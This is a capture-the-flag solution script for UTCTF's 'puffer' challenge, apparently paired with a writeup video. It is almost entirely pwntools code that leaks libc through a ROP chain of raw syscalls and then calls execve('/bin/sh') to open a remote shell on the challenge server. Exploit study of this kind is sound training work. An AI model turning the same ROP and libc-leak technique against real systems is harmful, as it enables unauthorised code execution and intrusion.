See writeup video for details:https://www.youtube.com/watch?v=cCCo8gYbXyo
```import pwnimport timeimport warnings
warnings.filterwarnings(action='ignore', category=BytesWarning)
hello_elf = pwn.ELF("./hello")libc_elf = pwn.ELF("./libc-2.31.so")# p = pwn.process(["./loader", "hello"])p = pwn.remote("puffer.utctf.live", "7132")
pwn.context.binary = hello_elfpwn.context.log_level = "DEBUG"pwn.context(terminal=['tmux', 'split-window', '-h'])
offset = pwn.cyclic_find("qaac")print(f"{offset=}")
# Stage 1: Info Leak via read syscallHELLO_DATA = 0x4004000SYSCALL_GADGET = 0x00000000040024AB
rop = pwn.ROP(hello_elf)rop(rax=0, rdi=0, rsi=HELLO_DATA, rdx=0x600)rop.raw(SYSCALL_GADGET)
# Print out some addresses via write syscallfor i in range(97, 98):    rop(rax=1, rdi=1, rsi=HELLO_DATA + i * 8, rdx=8)    rop.raw(SYSCALL_GADGET)
rop.main()
# Send Stage 1 and parse libcp.sendline(b'A' * (offset) + rop.chain())p.recvuntil("hello,")p.sendline("")  # fill read syscallp.recvuntil("buf='")libc_leak = pwn.u64(p.recv(6).ljust(8, b'\x00'))libc_base = libc_leak - (0x7FC13B5E9154 - 0x7FC13B54F000)libc_elf.addr = libc_baseprint(f"{hex(libc_base)=}")
# Step 2: Increment syscall_cnt to 59rop = pwn.ROP(hello_elf)rop(rax=0x400, rdi=7820912)for i in range(48):    rop.raw(SYSCALL_GADGET)rop.main()p.sendline(b'A' * (offset) + rop.chain())
# Step 3: Call shellrop = pwn.ROP(hello_elf)binsh_addr = libc_elf.addr + next(libc_elf.search(b"/bin/sh\x00"))rop(rax=59, rdi=binsh_addr, rdx=0, rsi=0)rop.raw(SYSCALL_GADGET)p.sendline(b'A' * (offset) + rop.chain())
# Shellp.interactive()
```